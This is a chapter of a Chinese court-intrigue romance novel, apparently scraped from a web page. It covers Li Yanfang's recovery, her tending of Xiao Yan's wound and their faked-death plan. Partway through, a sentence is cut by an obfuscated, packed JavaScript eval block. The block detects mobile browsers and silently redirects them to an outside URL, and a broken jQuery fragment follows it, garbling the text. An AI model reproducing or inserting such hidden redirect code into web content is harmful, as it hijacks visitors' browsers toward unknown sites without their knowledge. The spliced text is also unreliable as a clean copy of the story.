李宴方进宫之前,未用粥饭,她成功在宫内演了一出苦肉计。
太后果然答应这位死里逃生、狼狈落魄的乡君的请求,派出最得她信任的御医,前往侯府替萧偃医治。
时至如今,一切都按照李宴方的计划发展。
太后亲信御医会将萧偃情况告知于她,无性命之忧,只不过重伤需要休养。因此,太后不会在此时变更飞捷军统帅,否则无异于昭告天下,萧偃在“意外”中重伤不愈,甚至身死。
她把太后也变成自己计划中的一环。
得到御医的“保证”,配合李宴方的暗中寻觅替身一事,足以让外界人半信半疑,难以判断。
就在御医出府后,几乎一整日没闭眼,没进水米的李宴方终于扛不住,病倒于地。
*
在昏沉阴雨的病海沉浮中,李宴方梦到了母亲黎茂宁。
那是一个风和日丽的春日,鲜少出门游玩的母亲也同父亲还有姐弟二人一同出游。
梨花盛放如雪,云蒸霞蔚,母亲在花下回过身,散发着比春风更柔软的温情,她朝李宴方轻声细语,如歌如诉。
“恕人亦是恕己。”
而后东风骀荡,千万梨花细蕊随风舞动,化成阳春三月里盛大的白雪,将母亲的残影送至九重天外,再无可寻。
梦中人朝那一片烂漫的琼雪奔去,李宴方总觉得母亲这句话暗藏不可告人的玄机,她要找到母亲,问个一清二楚。
可她遍寻不至,最终在柔软的春雪中迷失方向。
撕开风雪,昏迷多时的李宴方从梦魇中醒来,头昏脑胀,思绪迟钝,张开双眼,入目的是熟悉的环境,却让她感到目眩迷乱。
照清听到动静,立马赶到,她跟随李宴方前往检阅观礼,对这场“意外”也算是心中有数,照清连日来担惊受怕,而今箭李宴方无恙,她悬着的心可放下了。
“乡君,可还难受?”她捧着温水前来侍奉。
李宴方急切灌下,昏迷许久,迫切渴望饮水:“如今是几月初几?”
张口才觉嗓音粗哑,好似变了个人。
照清答道:“四月初一,乡君已昏睡两日。这两日内太后以玩忽职守的罪名处置了负责大猎的官员们,罚俸的罚俸,革职的革职,坐监的坐监,不一而足。”
“没出人命?”
“嗯。”照清点头。
李宴方迟钝的脑子开始思索,玩忽职守而非处心积虑,反倒坐实这是一场人为疏忽,不会再追究了。
她又问:“萧凭陵好些了吗?”
一提及他,浓郁难散的忧虑盘旋萦绕,他的情况比自己更糟糕,但李宴方心存侥幸,如果他有了什么三长两短,照清当不是这个态度……
她就在这等待回答的几息之间,胡思乱想,关心则乱。
“他今日已能下地,慕容先生说不可长久卧床,他一醒就被慕容先生撵下来。乡君也该起身了。”言罢,她上前扶李宴方。
李宴方倒是毫发无伤,只是心力交瘁疲惫至极,要缓一缓。
照清扶着她在内室走动,又想起一事:“昨日太后派人前来,赏赐好些名药补品,人参鹿茸,灵芝阿胶之类,应有尽有,那位和善的嬷嬷特意交代,让你与萧侯好生休养,无需再入宫谢恩。”
当真是宠臣的待遇。
她对照清道:“我吃些东西,然后好好梳洗一番。”
照清为李宴方端来燕窝粥,李宴方边用粥边思索,出身低微使得她习惯于把太后的赏赐归结于旁人。
她与陆韫之成婚时,太后赏赐厚礼,她以为太后是看在鄂国公府的面子上;她受封乡君,她以为是太后看萧偃家中再无亲眷,只有她这个义姊,皇恩浩荡,随手封了;而今名药补品送到,她以为太后惜才且大方。
但是,有没有可能,太后其实是看重她?
李宴方几乎是下意识否认,她一个岌岌无名之人怎么能得太后青眼?
前两日进宫面见太后,谢太后调拨飞捷军搜寻之恩,太后体谅她死里逃生,出言宽慰,颇显柔情。
后有前来赐药的嬷嬷特意交代,无需入宫谢恩,显然是对曾经特意入宫谢恩的李宴方说的。
难道自己长得像太后的早夭长女昭德思公主?
她的年纪倒真和昭德思公主差不多,但在与陆韫之成婚前,她从未见过太后,太后又怎么能在大婚之前进行赏赐呢?
罢了,别费心思去猜测这些毫无根据的事情。
进餐完毕,她洗浴一番,梦中的浑浑噩噩尽散,整个人都轻松舒畅,于是前往西院,查看萧偃的情况。
萧偃早就被慕容修拽起来走动,现在他已用饭梳洗完毕,正在换药。
她一入内就见到赤着上身的萧偃坐在床榻上,正由青霜替他涂抹药膏,慕容修正在向他转述假死大计。
青霜率先发现有人入内,他一抬头,慕容修回身,朝青霜使了眼色,二人很识趣地退下。
待离去的人影不见,李宴方故作镇定地调侃:“慕容修倒是个鬼机灵的。”
说来也怪,明明又不是第一次见萧偃没穿上衣的模样,但被人知道,就仿佛什么见不得人的事情被撞破,让她尴尬难为情。
李宴方尚在原地迟疑,萧偃开了口:“有人把给我上药的人赶走了,事情做到一半,有劳阿姊。”
客气得简直有些异常。
李宴方不再纠结,走到床榻边坐下,观察他的伤口。
医者缝合的伤口极为规整,她想起自己在深夜用一针一线绘的“蜈蚣”,叹道:“我那日胡乱处理……”
“我不在意,你不要自责。”
萧偃快速地打断她低沉的情绪,让李宴方措手不及,她也不辩驳,拿来纱布,替他缠绕。
纯白洁净的棉纱轻柔地覆盖上萧偃麦色的肌肤,李宴方不自觉地靠近,她徐徐将棉纱绕过萧偃右肩,再绕至背后,她专注的视线里只有这一段棉纱绷带,根本没留意被缠绕的人已偏过头,只要她微微一抬首,两人鼻尖就会触碰。
“嘭!”像两块火石,一触即燃。
萧偃登时就想起,阿姊欠他一笔债。
他迂回奔袭,想方设法地讨回这一座属于他的城池。
“阿姊的计划甚好,我也以为此举可行。”
说的是诈死之计,他是她无可替代的共犯,默契配合是注定的必然。
除开大局上的考虑,萧偃暗藏私心,在猎场意外发生之前,他曾设想过丢掉义弟的身份阿姊会如何?
既然姐姐的身份于她而言是压在肩上的担子,是不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968157|190369||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可推卸的责任,那么就让身为义弟的萧偃“死掉”,以一个新的身份,无关责任的身份,呆在她身边。
兴许,于她,于他,都是一件好事。
萧偃该彻底摒弃义弟身份,以成年男子成熟可靠的姿态留在她身边。
“过几日,我会让人在军中寻觅‘替身’,再以侍卫的身份入府。这件事既要做到让有心之人察觉,又不能真正动摇军心,不可操之过急……刚好身受重伤的人熬到不治身亡的那一日也需要时日。”
其实这人根本不需要寻找,萧偃就是那个“替身”,侍卫越像真的,越能迷惑人。
李宴方道:“嗯,这件事必须把握好度,我可不想让太后再派人来查证你到底是死是活。”
她替他缠好绷带,打上结,将药品绷带等物放到床头的案几上。
这件事做完,那件事说完,她仿佛没有理由再待在这里,转身离去。
身边萦绕的清香瞬间远去,他眼疾手快地扯住那一片淡紫色的云,拉住了她的袖。
他急匆匆地追根究底:“阿姊,你为什么不悲伤?你为什么不肯给自己悲伤的机会呢?”
在山洞中萧偃问过同样的问题,那时他只想知道他在阿姊心中重有几分,可现在他这个问题点亮了一个幽渊,连李宴方都未察觉的幽渊。
就在方才,李宴方看到他的伤痕,第一反应是当时的自己做得不够好,这让萧偃心如刀绞。
他的阿姊总是压抑自己的情绪,不肯对自己放纵,想到的是过去的疏忽,是将来的步步为营。
李宴方逼迫着自己丢掉那个会难过、会忧伤、会哭泣的真魂,让自己时刻武装成钢筋铁骨的战士,去为自己,去为她在乎的人作战。
没有休息,不曾疗伤。
可萧偃就是希望,她能嬉笑怒骂,能爱憎分明,释放她刻意压制的情绪,她可以不理智,可以不再时时想着肩上的重担。
她可以面对心底那个未曾得到自由的自己。
萧偃起身,轻拥住那片在风中摇摇晃晃的彩云:“阿姊,你现在有我了。”
再全服武装的人,身上也有软肋,李宴方瞬间被击中,一败涂地。
坠落的泪珠如苦夏时节突如其来的暴雨,倾盆如柱。
李宴方从未想过放纵,因为自母亲离开后,她强迫自己不要把时间与精力投入到毫无用处的磅礴情绪中,她习惯了步步为营,习惯了硬抗下所有。
那一片无声无息的黑暗旷野再度强势地闯入她的脑海,她带着哭腔,诉说起那一场漫长的跋涉。
“走去山洞的路,好长好长,我想起我背着陆韫之尸首的那一日,把他烧了一了百了,我不害怕,只是兴奋。”
“但那一日,我担心一切都来不及,来不及救你,原野那么宽,那么暗,我不知道什么时候走到尽头,我担心身后的追兵,我担心不期而遇的野兽。”
“我也是会害怕的……”
害怕他真的离去。
说不完道不尽的情绪,扔入回忆里又被拾掇出来。
幸而苍天见怜,这一切已并非她独自承受。
李宴方转过身,抱住那温暖可靠的身躯,将身体轻轻倾斜,靠在他左肩。
肌肤相贴,能清楚地感受到他强力蓬勃的心跳。